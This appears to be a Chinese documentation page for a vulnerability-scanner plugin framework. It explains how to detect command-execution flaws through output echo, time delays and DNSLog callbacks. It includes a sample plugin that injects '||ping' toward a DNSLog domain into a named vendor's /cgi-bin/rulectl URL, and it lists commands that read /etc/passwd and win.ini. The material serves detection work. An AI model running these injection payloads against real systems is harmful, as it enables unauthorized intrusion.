命令执行类


命令执行类,根据其输出情况可分两种,有回显和无回显(命令盲注)。根据目标运行的操作系统类型,大致分为 Windows 类和 Unix 类。在编写插件的时候,主要是根据有无回显来分类,并兼容两类操作系统。

  • 有回显类

    编写该类插件检测思路为,直接在页面中输出某条有代表性的命令的执行结果。原则上不能对目标系统造成任何破坏。

    例如:

    • 输出当前的环境变量(Linux: echo $PATH, Windows: echo %path%)
    • 输出某个固定文件的内容(Linux: /etc/passwd, Windows: C:\Windows\win.ini)
    • 其它
  • 无回显类

    无回显类命令执行后返回结果不得而知,大大增加了检测难度,检测主要有两种方式:

    • 延时检测

      与时间盲注类似,利用返回包时间来判断。Linux 下通过 `sleep 5` 来实现延时5秒;
      Windows 可以通过 `ping localhost -n 5` 来实现延时5秒。
      **该方法对异步命令执行类漏洞无效**。
      
    • 利用 DNSLog 检测(推荐)

      DNSLog 用于监测 DNS 和 HTTP 访问记录,可通过命令执行,让目标主机主动
      请求 DNSLog API 地址,有相应的解析记录,则可判定为存在命令执行漏洞。
      通常使用 ping 命令。Linux 下还可使用 `wget`, `curl` 等有网络请求功能的命令。
      **该方法对无任何外网访问权限的目标无效**。
      

范例插件

西默科技 /cgi-bin/rulectl 命令执行漏洞检测

感谢插件作者: 上善若水

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Refer http://www.wooyun.org/bugs/wooyun-2016-0179411
# __Author__ = 上善若水
# _PlugName_ = ximo_rce Plugin
# _FileName_ = ximo_rce.py


def assign(service, arg):
    if service == fingerprint.ximo:
        return True, arg


def audit(arg):
    # 生成一个 hash 前缀
    hashstr = dnslog.create_hashstr()
    # 根据开发者的 udomain 生成需要请求的域名地址
    target = dnslog.create_dns_url(hashstr)
    # 构造命令执行的 Payload
    # 本漏洞中使用 ping 命令(注意限制ping次数)
    url = arg + "/cgi-bin/rulectl?woo||ping%20-c%203%20{target}".format(
        target=target)
    # 发送 Payload 到目标
    code, head, res, rurl, log = hackhttp.http(url)
    # 检查是否有 DNS 解析
    if dnslog.check_dns_log(hashstr):
        security_hole(url, log=log)


if __name__ == '__main__':
    from dummy import *
    audit(assign(fingerprint.ximo, "http://www.example.com/")[1])

使用 DNSLog 检测步骤

  1. 生成一个随机的 hash 前缀
  2. 根据开发者的 udomain 生成需要请求的域名地址
  3. 构造命令执行的 Payload
  4. 利用命令执行漏洞执行 Payload
  5. 检查是否有 DNS 解析

命令执行常用命令

  • 查看文件内容

    Linux:

    cat /etc/passwd
    

    Windows:

    type c:\windows\win.ini
    
  • 使用 ping 命令

    Linux:

    ping -c 3 xxxx.test.dnslog.link
    

    Windows:

    ping xxx.text.dnslog.link -n 3
    

results matching ""

    No results matching ""